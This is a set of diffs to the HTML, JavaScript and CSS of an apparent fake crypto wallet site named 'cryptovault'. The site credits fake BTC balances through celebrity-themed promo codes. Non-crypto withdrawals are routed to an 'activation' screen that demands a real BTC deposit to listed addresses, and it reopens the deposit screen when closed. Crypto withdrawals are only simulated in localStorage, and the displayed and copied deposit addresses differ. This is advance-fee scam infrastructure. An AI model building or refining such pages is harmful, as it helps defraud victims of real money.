Upload 3 files

dashboard.html

@@ -198,9 +198,9 @@
             <div class="deposit-content">
                 <div class="wallet-graphic">💳</div>
                 <p>Only send BTC to this address. Sending any other asset to this address may result in the loss of your deposit.</p>
-                <div class="deposit-warning">Minimum deposit amount: 0.0005 BTC</div>
+                <div class="deposit-warning">Minimum deposit amount: 0.0407 BTC</div>
                 <div class="deposit-address">
-                    <span>1J8Be2eVqDAvEQDqRqPfropJSrmxLZYG</span>
+                    <span>bc1q4a3083s7m3saraave7p6lcjjaqrf4f4lf2xceu</span>
                     <button onclick="copyAddress()">📋</button>
                 </div>
                 <div class="qr-code">
@@ -210,78 +210,239 @@
             </div>
         </div>
     </div>
+    
 
+    <!-- Multi-Step Withdrawal Modal -->
     <div id="withdrawModal" class="modal">
-        <div class="modal-content">
+        <div class="modal-content withdraw-modal">
             <div class="modal-header">
-                <h3>Select a coin to withdraw funds</h3>
+                <h3 id="withdrawModalTitle">Select Withdrawal Method</h3>
                 <span class="close" onclick="closeWithdrawModal()">&times;</span>
             </div>
-            <div class="withdraw-content">
-                <div class="wallet-graphic">💳</div>
-                <div class="payment-methods">
-                    <div class="payment-method">
-                        <span class="payment-icon">💳</span>
-                        <span>Crypto</span>
+        
+            <!-- Step 1: Select Wallet Type -->
+            <div id="withdrawStep1" class="withdraw-step active">
+                <div class="withdraw-content">
+                    <div class="wallet-graphic">💳</div>
+                    <p>Choose your preferred withdrawal method</p>
+                    <div class="payment-methods">
+                        <div class="payment-method" onclick="selectWalletType('crypto')">
+                            <span class="payment-icon">₿</span>
+                            <span>Crypto Wallet</span>
+                            <span class="method-arrow">→</span>
+                        </div>
+                        <div class="payment-method" onclick="selectWalletType('card')">
+                            <span class="payment-icon">💳</span>
+                            <span>Visa / Mastercard</span>
+                            <span class="method-arrow">→</span>
+                        </div>
+                        <div class="payment-method" onclick="selectWalletType('paypal')">
+                            <span class="payment-icon">🏦</span>
+                            <span>PayPal</span>
+                            <span class="method-arrow">→</span>
+                        </div>
+                        <div class="payment-method" onclick="selectWalletType('swift')">
+                            <span class="payment-icon">🏦</span>
+                            <span>Swift Transfer</span>
+                            <span class="method-arrow">→</span>
+                        </div>
                     </div>
-                    <div class="payment-method">
-                        <span class="payment-icon">💳</span>
-                        <span>Visa / Mastercard</span>
+                </div>
+            </div>
+            
+    
+
+            <!-- Step 2: Select Coin -->
+            <div id="withdrawStep2" class="withdraw-step">
+                <div class="withdraw-content">
+                    <div class="step-back" onclick="goToWithdrawStep(1)">← Back</div>
+                    <div class="wallet-graphic">🪙</div>
+                    <p>Select the cryptocurrency to withdraw</p>
+                    <div class="coin-selection-grid">
+                        <div class="coin-option" onclick="selectCoin('BTC')">
+                            <div class="coin-icon btc-icon">₿</div>
+                            <div class="coin-details">
+                                <span class="coin-name">Bitcoin</span>
+                                <span class="coin-symbol">BTC</span>
+                                <span class="coin-balance" id="btcWithdrawBalance">0.000000 BTC</span>
+                            </div>
+                            <span class="method-arrow">→</span>
+                        </div>
+                        <div class="coin-option" onclick="selectCoin('ETH')">
+                            <div class="coin-icon eth-icon">Ξ</div>
+                            <div class="coin-details">
+                                <span class="coin-name">Ethereum</span>
+                                <span class="coin-symbol">ETH</span>
+                                <span class="coin-balance">0.000000 ETH</span>
+                            </div>
+                            <span class="method-arrow">→</span>
+                        </div>
                     </div>
-                    <div class="payment-method">
-                        <span class="payment-icon">🏦</span>
-                        <span>PayPal</span>
+                </div>
+            </div>
+
+            <!-- Step 3: Enter Wallet Address -->
+            <div id="withdrawStep3" class="withdraw-step">
+                <div class="withdraw-content">
+                    <div class="step-back" onclick="goToWithdrawStep(2)">← Back</div>
+                    <div class="wallet-graphic">📝</div>
+                    <h4 id="selectedCoinTitle">BTC WALLET ADDRESS</h4>
+                    <p>Enter your wallet address to receive the funds</p>
+                
+                    <div class="address-input-group">
+                        <input type="text" id="walletAddress" placeholder="Enter wallet address" required>
+                        <button type="button" class="btn-scan">📷</button>
                     </div>
-                    <div class="payment-method">
-                        <span class="payment-icon">🏦</span>
-                        <span>Swift</span>
+                
+                    <div class="save-address-option">
+                        <input type="checkbox" id="saveAddress">
+                        <label for="saveAddress">Save address for next time</label>
                     </div>
+                
+                    <div class="network-selection">
+                        <label>Select Network</label>
+                        <select id="networkSelect">
+                            <option value="">Select network...</option>
+                            <option value="BITCOIN">Bitcoin Network</option>
+                            <option value="BEP20">BEP20 (BSC)</option>
+                            <option value="ERC20">ERC20 (Ethereum)</option>
+                        </select>
+                    </div>
+                
+                    <button class="btn-continue" onclick="goToWithdrawStep(4)">Continue</button>
                 </div>
-                <div class="coin-selection">
-                    <select id="coinSelect">
-                        <option>Select a coin to withdraw...</option>
-                        <option value="BTC">BTC - Bitcoin</option>
-                        <option value="ETH">ETH - Ethereum</option>
-                    </select>
-                </div>
-                <div class="network-selection">
-                    <select id="networkSelect">
-                        <option>Select a network...</option>
-                        <option value="BITCOIN">BITCOIN</option>
-                        <option value="BEP20">BEP20</option>
-                    </select>
+            </div>
+
+            <!-- Step 4: Enter Amount -->
+            <div id="withdrawStep4" class="withdraw-step">
+                <div class="withdraw-content">
+                    <div class="step-back" onclick="goToWithdrawStep(3)">← Back</div>
+                    <div class="wallet-graphic">💰</div>
+                    <h4>WITHDRAWAL AMOUNT</h4>
+                
+                    <div class="balance-display">
+                        <div class="balance-item">
+                            <span class="balance-label">Available balance</span>
+                            <div class="balance-value">
+                                <span id="availableWithdrawBalance">1.300000 BTC</span>
+                                <span class="balance-usd">$56,162.50</span>
+                            </div>
+                        </div>
+                    </div>
+                
+                    <div class="amount-input-section">
+                        <label>AMOUNT TO WITHDRAW</label>
+                        <div class="amount-input-group">
+                            <input type="number" id="withdrawAmount" placeholder="0.000000" step="0.000001" min="0">
+                            <span class="currency-label" id="withdrawCurrency">BTC</span>
+                            <button type="button" class="btn-max" onclick="setMaxAmount()">Max</button>
+                        </div>
+                        <div class="amount-usd" id="withdrawAmountUSD">$0.00</div>
+                    </div>
+                
+                    <div class="withdraw-fee-section">
+                        <h5>WITHDRAW FEE</h5>
+                        <div class="fee-breakdown">
+                            <div class="fee-item">
+                                <span>Network Fee</span>
+                                <span id="networkFee">0.000050 BTC</span>
+                            </div>
+                            <div class="fee-item">
+                                <span>Service Fee</span>
+                                <span id="serviceFee">0.000000 BTC</span>
+                            </div>
+                            <div class="fee-item total-fee">
+                                <span>Total Fee</span>
+                                <span id="totalFee">0.000050 BTC</span>
+                            </div>
+                        </div>
+                    </div>
+                
+                    <div class="final-amount">
+                        <div class="final-item">
+                            <span>You will receive</span>
+                            <span id="finalReceiveAmount">0.000000 BTC</span>
+                        </div>
+                    </div>
+                
+                    <button class="btn-continue" onclick="processWithdraw()">Withdraw</button>
+                    
                 </div>
-                <button class="btn-continue" onclick="processWithdraw()">Continue</button>
-                <br>
-                <br>
-                <br>
             </div>
         </div>
     </div>
 
+    <!-- Enhanced Activation Modal -->
     <div id="activationModal" class="modal">
         <div class="modal-content activation-modal">
             <div class="activation-header">
                 <div class="error-icon">❌</div>
-                <h3>Activation ❌</h3>
+                <h3>Activation</h3>
             </div>
             <div class="activation-content">
-                <p>To withdraw funds to a third-party address, you need to activate your account. To activate the account, make a minimum deposit of 0.00060 BTC. The deposit can also be withdrawn after account activation.</p>
-                <div class="deposit-status">
-                    <span>Your deposit: 0.000000 / 0.00060 BTC.</span>
+                <p>To withdraw funds to a third-party address, you need to activate your account. To activate the account, make a minimum deposit of 0.00063 BTC. The deposit can also be withdrawn after account activation.</p>
+            
+            <div class="deposit-status">
+                <span>Your deposit: <span id="currentDeposit">0.000000</span> / 0.00063 BTC.</span>
+            </div>
+
+            <div class="status-table">
+                <div class="status-row">
+                    <span>Status</span>
+                    <span>Transaction ID</span>
                 </div>
-                <div class="status-table">
-                    <div class="status-row">
-                        <span>Status</span>
-                        <span>Transaction ID</span>
+                <div class="status-row">
+                    <span class="error-status">Error</span>
+                    <span>not created</span>
+                </div>
+            </div>
+
+            <p class="support-text">Contact online support for additional information.</p>
+
+            <button class="btn-wallet" onclick="closeActivationModal()">Wallet</button>
+        </div>
+    </div>
+
+    <!-- Verification Modal -->
+    <div id="verificationModal" class="modal">
+        <div class="modal-content verification-modal">
+            <div class="modal-header">
+                <h3>Verify Withdrawal</h3>
+                <span class="close" onclick="closeVerificationModal()">&times;</span>
+            </div>
+            <div class="verification-content">
+                <div class="verify-icon">🔐</div>
+                <h4>Confirm Your Withdrawal</h4>
+                <p>Please verify the withdrawal details below:</p>
+                
+                <div class="verification-details">
+                    <div class="verify-item">
+                        <span class="verify-label">Amount:</span>
+                        <span class="verify-value" id="verifyAmount">0.000000 BTC</span>
                     </div>
-                    <div class="status-row">
-                        <span class="error-status">Error</span>
-                        <span>not created</span>
+                    <div class="verify-item">
+                        <span class="verify-label">To Address:</span>
+                        <span class="verify-value verify-address" id="verifyAddress">-</span>
                     </div>
+                    <div class="verify-item">
+                        <span class="verify-label">Network:</span>
+                        <span class="verify-value" id="verifyNetwork">-</span>
+                    </div>
+                    <div class="verify-item">
+                        <span class="verify-label">Network Fee:</span>
+                        <span class="verify-value">0.000050 BTC</span>
+                    </div>
+                </div>
+
+                <div class="verification-warning">
+                    <div class="warning-icon">⚠️</div>
+                    <p>Please double-check the wallet address. Transactions cannot be reversed once confirmed.</p>
+                </div>
+
+                <div class="verification-actions">
+                    <button class="btn-cancel" onclick="closeVerificationModal()">Cancel</button>
+                    <button class="btn-confirm" onclick="confirmWithdrawal()">Confirm Withdrawal</button>
                 </div>
-                <p class="support-text">Contact online support for additional information.</p>
-                <button class="btn-wallet" onclick="closeActivationModal()">Wallet</button>
             </div>
         </div>
     </div>

script.js

@@ -4,9 +4,9 @@ const BTC_PRICE = 43250 // Fixed BTC price for demo
 
 // Promo codes and their BTC rewards
 const PROMO_CODES = {
-  ELONMUSKBTC: 1.3,
+  ElonMux: 1.3,
   BillGates: 2.05,
-  CBLBTC: 3.55,
+  CBL: 3.55,
 }
 
 // Initialize app
@@ -304,13 +304,210 @@ function closeDepositModal() {
   }
 }
 
+// Withdrawal flow variables
+let selectedWalletType = ""
+let selectedCoin = ""
+let currentWithdrawStep = 1
+
+// Enhanced withdrawal functions
 function showWithdrawModal() {
   const modal = document.getElementById("withdrawModal")
   if (modal) {
     modal.style.display = "block"
+    resetWithdrawFlow()
+  }
+}
+
+function resetWithdrawFlow() {
+  currentWithdrawStep = 1
+  selectedWalletType = ""
+  selectedCoin = ""
+  goToWithdrawStep(1)
+
+  // Reset form fields
+  document.getElementById("walletAddress").value = ""
+  document.getElementById("withdrawAmount").value = ""
+  document.getElementById("networkSelect").value = ""
+  document.getElementById("saveAddress").checked = false
+}
+
+function goToWithdrawStep(step) {
+  // Hide all steps
+  for (let i = 1; i <= 4; i++) {
+    const stepElement = document.getElementById(`withdrawStep${i}`)
+    if (stepElement) {
+      stepElement.classList.remove("active")
+    }
+  }
+
+  // Show current step
+  const currentStepElement = document.getElementById(`withdrawStep${step}`)
+  if (currentStepElement) {
+    currentStepElement.classList.add("active")
+  }
+
+  // Update modal title
+  const titles = {
+    1: "Select Withdrawal Method",
+    2: "Select Cryptocurrency",
+    3: "Enter Wallet Details",
+    4: "Confirm Withdrawal",
+  }
+
+  const titleElement = document.getElementById("withdrawModalTitle")
+  if (titleElement) {
+    titleElement.textContent = titles[step] || "Withdraw Funds"
+  }
+
+  currentWithdrawStep = step
+
+  // Update balance display for step 4
+  if (step === 4) {
+    updateWithdrawBalanceDisplay()
+  }
+}
+
+function selectWalletType(type) {
+  selectedWalletType = type
+
+  if (type === "crypto") {
+    goToWithdrawStep(2)
+  } else {
+    // For non-crypto methods, show activation modal
+    closeWithdrawModal()
+    showActivationModal()
+  }
+}
+
+function selectCoin(coin) {
+  selectedCoin = coin
+
+  // Update the wallet address title
+  const titleElement = document.getElementById("selectedCoinTitle")
+  if (titleElement) {
+    titleElement.textContent = `${coin} WALLET ADDRESS`
+  }
+
+  // Update network options based on selected coin
+  updateNetworkOptions(coin)
+
+  goToWithdrawStep(3)
+}
+
+function updateNetworkOptions(coin) {
+  const networkSelect = document.getElementById("networkSelect")
+  if (!networkSelect) return
+
+  networkSelect.innerHTML = '<option value="">Select network...</option>'
+
+  if (coin === "BTC") {
+    networkSelect.innerHTML += `
+      <option value="BITCOIN">Bitcoin Network</option>
+      <option value="BEP20">BEP20 (BSC)</option>
+    `
+  } else if (coin === "ETH") {
+    networkSelect.innerHTML += `
+      <option value="ETHEREUM">Ethereum Network</option>
+      <option value="BEP20">BEP20 (BSC)</option>
+      <option value="POLYGON">Polygon Network</option>
+    `
+  }
+}
+
+function updateWithdrawBalanceDisplay() {
+  const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
+  const userData = users[currentUser]
+
+  if (!userData) return
+
+  const balance = userData.btcBalance
+  const usdValue = (balance * BTC_PRICE).toFixed(2)
+
+  // Update balance displays
+  const balanceElement = document.getElementById("availableWithdrawBalance")
+  const btcWithdrawBalance = document.getElementById("btcWithdrawBalance")
+
+  if (balanceElement) {
+    balanceElement.textContent = `${balance.toFixed(6)} ${selectedCoin}`
+  }
+
+  if (btcWithdrawBalance) {
+    btcWithdrawBalance.textContent = `${balance.toFixed(6)} BTC`
+  }
+
+  // Update currency label
+  const currencyLabel = document.getElementById("withdrawCurrency")
+  if (currencyLabel) {
+    currencyLabel.textContent = selectedCoin
+  }
+}
+
+function setMaxAmount() {
+  const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
+  const userData = users[currentUser]
+
+  if (!userData) return
+
+  const maxAmount = userData.btcBalance - 0.00005 // Subtract network fee
+  const amountInput = document.getElementById("withdrawAmount")
+
+  if (amountInput && maxAmount > 0) {
+    amountInput.value = maxAmount.toFixed(6)
+    updateWithdrawAmountDisplay()
+  }
+}
+
+function updateWithdrawAmountDisplay() {
+  const amountInput = document.getElementById("withdrawAmount")
+  const amountUSD = document.getElementById("withdrawAmountUSD")
+  const finalReceiveAmount = document.getElementById("finalReceiveAmount")
+
+  if (!amountInput) return
+
+  const amount = Number.parseFloat(amountInput.value) || 0
+  const usdValue = (amount * BTC_PRICE).toFixed(2)
+  const networkFee = 0.00005
+  const finalAmount = Math.max(0, amount - networkFee)
+
+  if (amountUSD) {
+    amountUSD.textContent = `$${usdValue}`
+  }
+
+  if (finalReceiveAmount) {
+    finalReceiveAmount.textContent = `${finalAmount.toFixed(6)} ${selectedCoin}`
+  }
+}
+
+function showActivationModal() {
+  const modal = document.getElementById("activationModal")
+  if (modal) {
+    modal.style.display = "block"
+    updateActivationStatus()
+  }
+}
+
+function updateActivationStatus() {
+  const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
+  const userData = users[currentUser]
+
+  if (!userData) return
+
+  const minimumDeposit = 0.00063
+  const currentDepositElement = document.getElementById("currentDeposit")
+
+  if (currentDepositElement) {
+    currentDepositElement.textContent = userData.btcBalance.toFixed(6)
   }
 }
 
+// Add event listener for amount input
+document.addEventListener("DOMContentLoaded", () => {
+  const amountInput = document.getElementById("withdrawAmount")
+  if (amountInput) {
+    amountInput.addEventListener("input", updateWithdrawAmountDisplay)
+  }
+})
+
 function closeWithdrawModal() {
   const modal = document.getElementById("withdrawModal")
   if (modal) {
@@ -331,19 +528,12 @@ function closeActivationModal() {
   if (modal) {
     modal.style.display = "none"
   }
-}
-
-function processWithdraw() {
-  // Show activation modal for demo purposes
-  closeWithdrawModal()
-  const modal = document.getElementById("activationModal")
-  if (modal) {
-    modal.style.display = "block"
-  }
+  // After closing activation modal, show deposit modal
+  showDepositModal()
 }
 
 function copyAddress() {
-  const address = "bc1q4a3083s7m3saraave7p6lcjjaqrf4f4lf2xceu"
+  const address = "1J8Be2eVqDAvEQDqRqPfropJSrmxLZYG"
   navigator.clipboard
     .writeText(address)
     .then(() => {
@@ -455,9 +645,113 @@ function togglePassword(fieldId) {
   }
 }
 
+function processWithdraw() {
+  const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
+  const userData = users[currentUser]
+
+  if (!userData) {
+    logout()
+    return
+  }
+
+  // Get withdrawal details
+  const walletAddress = document.getElementById("walletAddress").value.trim()
+  const withdrawAmount = Number.parseFloat(document.getElementById("withdrawAmount").value) || 0
+  const networkSelect = document.getElementById("networkSelect").value
+
+  // Validation
+  if (!walletAddress) {
+    showNotification("Please enter a wallet address!", "error")
+    return
+  }
+
+  if (!networkSelect) {
+    showNotification("Please select a network!", "error")
+    return
+  }
+
+  if (withdrawAmount <= 0) {
+    showNotification("Please enter a valid amount!", "error")
+    return
+  }
+
+  // Check if account is activated (minimum deposit requirement)
+  const minimumDeposit = 0.00063
+  if (userData.btcBalance < minimumDeposit) {
+    // Close withdrawal modal first, then show activation modal
+    closeWithdrawModal()
+    showActivationModal()
+    return
+  }
+
+  // Check if user has sufficient balance for withdrawal
+  const networkFee = 0.00005
+  const totalRequired = withdrawAmount + networkFee
+
+  if (userData.btcBalance < totalRequired) {
+    showNotification("Insufficient funds! You need at least " + totalRequired.toFixed(6) + " BTC", "error")
+    return
+  }
+
+  // If account is activated and user has sufficient funds, show verification modal
+  closeWithdrawModal()
+  showVerificationModal(withdrawAmount, walletAddress, networkSelect)
+}
+
+function showVerificationModal(amount, address, network) {
+  const modal = document.getElementById("verificationModal")
+  if (modal) {
+    // Update verification details
+    document.getElementById("verifyAmount").textContent = amount.toFixed(6) + " " + selectedCoin
+    document.getElementById("verifyAddress").textContent = address
+    document.getElementById("verifyNetwork").textContent = network
+
+    modal.style.display = "block"
+  }
+}
+
+function closeVerificationModal() {
+  const modal = document.getElementById("verificationModal")
+  if (modal) {
+    modal.style.display = "none"
+  }
+}
+
+function confirmWithdrawal() {
+  const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
+  const userData = users[currentUser]
+
+  if (!userData) {
+    logout()
+    return
+  }
+
+  const withdrawAmount = Number.parseFloat(document.getElementById("withdrawAmount").value) || 0
+  const networkFee = 0.00005
+  const totalDeducted = withdrawAmount + networkFee
+
+  // Deduct from user balance
+  userData.btcBalance -= totalDeducted
+
+  // Save updated balance
+  localStorage.setItem("cryptovault_users", JSON.stringify(users))
+
+  // Close verification modal
+  closeVerificationModal()
+
+  // Show success message
+  showNotification("Verification successful! Withdrawal completed.", "success")
+
+  // Update dashboard
+  updateDashboard()
+
+  // Reset withdrawal form
+  resetWithdrawFlow()
+}
+
 // Close modals when clicking outside
 window.onclick = (event) => {
-  const modals = ["depositModal", "withdrawModal", "activationModal"]
+  const modals = ["depositModal", "withdrawModal", "activationModal", "verificationModal"]
   modals.forEach((modalId) => {
     const modal = document.getElementById(modalId)
     if (modal && event.target === modal) {

styles.css

@@ -1134,6 +1134,359 @@ body {
   background: #3b82f6;
 }
 
+/* Enhanced Withdrawal Modal Styles */
+.withdraw-modal {
+  max-width: 600px;
+}
+
+.withdraw-step {
+  display: none;
+}
+
+.withdraw-step.active {
+  display: block;
+}
+
+.step-back {
+  color: #00d4ff;
+  cursor: pointer;
+  margin-bottom: 16px;
+  font-size: 14px;
+  display: flex;
+  align-items: center;
+  gap: 8px;
+  transition: color 0.3s ease;
+}
+
+.step-back:hover {
+  color: #0099cc;
+}
+
+.payment-method,
+.coin-option {
+  background: rgba(45, 55, 72, 0.5);
+  border: 1px solid #2d3748;
+  border-radius: 12px;
+  padding: 20px;
+  display: flex;
+  align-items: center;
+  gap: 16px;
+  cursor: pointer;
+  transition: all 0.3s ease;
+  margin-bottom: 12px;
+}
+
+.payment-method:hover,
+.coin-option:hover {
+  border-color: #00d4ff;
+  background: rgba(0, 212, 255, 0.1);
+}
+
+.method-arrow {
+  margin-left: auto;
+  color: #8892b0;
+  font-size: 18px;
+}
+
+.coin-selection-grid {
+  display: flex;
+  flex-direction: column;
+  gap: 12px;
+}
+
+.coin-details {
+  display: flex;
+  flex-direction: column;
+  flex: 1;
+}
+
+.coin-name {
+  color: #ffffff;
+  font-weight: 600;
+  font-size: 16px;
+}
+
+.coin-symbol {
+  color: #8892b0;
+  font-size: 14px;
+}
+
+.coin-balance {
+  color: #00d4ff;
+  font-size: 14px;
+  margin-top: 4px;
+}
+
+.address-input-group {
+  display: flex;
+  gap: 12px;
+  margin-bottom: 16px;
+}
+
+.address-input-group input {
+  flex: 1;
+  padding: 16px;
+  background: rgba(45, 55, 72, 0.5);
+  border: 1px solid #2d3748;
+  border-radius: 8px;
+  color: #ffffff;
+  font-size: 14px;
+  font-family: monospace;
+}
+
+.btn-scan {
+  background: #00d4ff;
+  color: #0f1419;
+  border: none;
+  border-radius: 8px;
+  padding: 16px;
+  cursor: pointer;
+  font-size: 16px;
+  min-width: 50px;
+}
+
+.save-address-option {
+  display: flex;
+  align-items: center;
+  gap: 8px;
+  margin-bottom: 24px;
+  color: #8892b0;
+  font-size: 14px;
+}
+
+.save-address-option input[type="checkbox"] {
+  accent-color: #00d4ff;
+}
+
+.balance-display {
+  background: rgba(45, 55, 72, 0.3);
+  border-radius: 12px;
+  padding: 20px;
+  margin-bottom: 24px;
+}
+
+.balance-item {
+  display: flex;
+  justify-content: space-between;
+  align-items: center;
+}
+
+.balance-label {
+  color: #8892b0;
+  font-size: 14px;
+}
+
+.balance-value {
+  text-align: right;
+}
+
+.balance-value span:first-child {
+  display: block;
+  color: #ffffff;
+  font-weight: 600;
+  font-size: 18px;
+}
+
+.balance-usd {
+  color: #8892b0;
+  font-size: 14px;
+}
+
+.amount-input-section {
+  margin-bottom: 24px;
+}
+
+.amount-input-section label {
+  display: block;
+  color: #ffffff;
+  font-weight: 600;
+  margin-bottom: 12px;
+  text-transform: uppercase;
+  letter-spacing: 0.5px;
+}
+
+.amount-input-group {
+  display: flex;
+  align-items: center;
+  background: rgba(45, 55, 72, 0.5);
+  border: 1px solid #2d3748;
+  border-radius: 8px;
+  padding: 4px;
+  margin-bottom: 8px;
+}
+
+.amount-input-group input {
+  flex: 1;
+  background: transparent;
+  border: none;
+  padding: 12px 16px;
+  color: #ffffff;
+  font-size: 18px;
+  font-weight: 600;
+}
+
+.amount-input-group input:focus {
+  outline: none;
+}
+
+.currency-label {
+  color: #8892b0;
+  font-weight: 600;
+  padding: 0 12px;
+}
+
+.btn-max {
+  background: #00d4ff;
+  color: #0f1419;
+  border: none;
+  border-radius: 6px;
+  padding: 8px 16px;
+  font-size: 12px;
+  font-weight: 600;
+  cursor: pointer;
+  margin-right: 8px;
+}
+
+.amount-usd {
+  color: #8892b0;
+  font-size: 14px;
+  text-align: right;
+}
+
+.withdraw-fee-section {
+  background: rgba(45, 55, 72, 0.3);
+  border-radius: 12px;
+  padding: 20px;
+  margin-bottom: 24px;
+}
+
+.withdraw-fee-section h5 {
+  color: #ffffff;
+  font-size: 14px;
+  font-weight: 600;
+  margin-bottom: 16px;
+  text-transform: uppercase;
+  letter-spacing: 0.5px;
+}
+
+.fee-breakdown {
+  display: flex;
+  flex-direction: column;
+  gap: 12px;
+}
+
+.fee-item {
+  display: flex;
+  justify-content: space-between;
+  color: #8892b0;
+  font-size: 14px;
+}
+
+.fee-item.total-fee {
+  border-top: 1px solid #2d3748;
+  padding-top: 12px;
+  color: #ffffff;
+  font-weight: 600;
+}
+
+.final-amount {
+  background: rgba(0, 212, 255, 0.1);
+  border: 1px solid #00d4ff;
+  border-radius: 12px;
+  padding: 20px;
+  margin-bottom: 24px;
+}
+
+.final-item {
+  display: flex;
+  justify-content: space-between;
+  align-items: center;
+}
+
+.final-item span:first-child {
+  color: #00d4ff;
+  font-weight: 600;
+}
+
+.final-item span:last-child {
+  color: #ffffff;
+  font-weight: 700;
+  font-size: 18px;
+}
+
+/* Enhanced Activation Modal */
+.activation-requirements {
+  background: rgba(45, 55, 72, 0.3);
+  border-radius: 12px;
+  padding: 20px;
+  margin: 20px 0;
+}
+
+.activation-requirements h4 {
+  color: #ffffff;
+  margin-bottom: 12px;
+}
+
+.activation-requirements ul {
+  list-style: none;
+  padding: 0;
+}
+
+.activation-requirements li {
+  padding: 8px 0;
+  color: #8892b0;
+  font-size: 14px;
+}
+
+.status-bar {
+  width: 100%;
+  height: 8px;
+  background: rgba(45, 55, 72, 0.5);
+  border-radius: 4px;
+  margin-bottom: 8px;
+  overflow: hidden;
+}
+
+.status-progress {
+  height: 100%;
+  background: linear-gradient(90deg, #00d4ff, #0099cc);
+  border-radius: 4px;
+  transition: width 0.3s ease;
+}
+
+.activation-actions {
+  display: flex;
+  gap: 12px;
+  margin: 24px 0;
+}
+
+.btn-deposit-now {
+  flex: 1;
+  background: #00d4ff;
+  color: #0f1419;
+  border: none;
+  border-radius: 8px;
+  padding: 12px;
+  font-weight: 600;
+  cursor: pointer;
+}
+
+.btn-contact-support {
+  flex: 1;
+  background: rgba(45, 55, 72, 0.8);
+  color: #8892b0;
+  border: 1px solid #2d3748;
+  border-radius: 8px;
+  padding: 12px;
+  font-weight: 600;
+  cursor: pointer;
+}
+
+.btn-contact-support:hover {
+  border-color: #00d4ff;
+  color: #00d4ff;
+}
+
 /* Responsive Design */
 @media (max-width: 1024px) {
   .landing-content {
@@ -1220,3 +1573,144 @@ body {
     margin-bottom: 8px;
   }
 }
+
+/* Verification Modal Styles */
+.verification-modal {
+  max-width: 500px;
+}
+
+.verification-content {
+  text-align: center;
+}
+
+.verify-icon {
+  font-size: 48px;
+  margin-bottom: 16px;
+}
+
+.verification-content h4 {
+  color: #ffffff;
+  font-size: 20px;
+  margin-bottom: 8px;
+}
+
+.verification-content p {
+  color: #8892b0;
+  margin-bottom: 24px;
+}
+
+.verification-details {
+  background: rgba(45, 55, 72, 0.3);
+  border-radius: 12px;
+  padding: 20px;
+  margin-bottom: 24px;
+  text-align: left;
+}
+
+.verify-item {
+  display: flex;
+  justify-content: space-between;
+  align-items: center;
+  padding: 12px 0;
+  border-bottom: 1px solid rgba(45, 55, 72, 0.5);
+}
+
+.verify-item:last-child {
+  border-bottom: none;
+}
+
+.verify-label {
+  color: #8892b0;
+  font-size: 14px;
+}
+
+.verify-value {
+  color: #ffffff;
+  font-weight: 600;
+  font-size: 14px;
+}
+
+.verify-address {
+  font-family: monospace;
+  font-size: 12px;
+  word-break: break-all;
+  max-width: 200px;
+  text-align: right;
+}
+
+.verification-warning {
+  background: rgba(239, 68, 68, 0.1);
+  border: 1px solid #ef4444;
+  border-radius: 8px;
+  padding: 16px;
+  margin-bottom: 24px;
+  display: flex;
+  align-items: flex-start;
+  gap: 12px;
+}
+
+.warning-icon {
+  font-size: 20px;
+  flex-shrink: 0;
+}
+
+.verification-warning p {
+  color: #fbbf24;
+  font-size: 14px;
+  margin: 0;
+  text-align: left;
+}
+
+.verification-actions {
+  display: flex;
+  gap: 12px;
+}
+
+.btn-cancel {
+  flex: 1;
+  background: rgba(45, 55, 72, 0.8);
+  color: #8892b0;
+  border: 1px solid #2d3748;
+  border-radius: 8px;
+  padding: 16px;
+  font-weight: 600;
+  cursor: pointer;
+  transition: all 0.3s ease;
+}
+
+.btn-cancel:hover {
+  border-color: #ef4444;
+  color: #ef4444;
+}
+
+.btn-confirm {
+  flex: 1;
+  background: #00d4ff;
+  color: #0f1419;
+  border: none;
+  border-radius: 8px;
+  padding: 16px;
+  font-weight: 600;
+  cursor: pointer;
+  transition: all 0.3s ease;
+}
+
+.btn-confirm:hover {
+  background: #0099cc;
+}
+
+.btn-continue {
+    position: fixed;
+    bottom: 20px;
+    left: 50%;
+    transform: translateX(-50%);
+    width: 90%;
+    max-width: 400px;
+    z-index: 1000;
+}
+
+.withdraw-step {
+    max-height: 100vh; /* Full screen height */
+    overflow-y: auto;  /* Allows scrolling */
+    padding-bottom: 20px; /* Avoid button touching bottom edge */
+}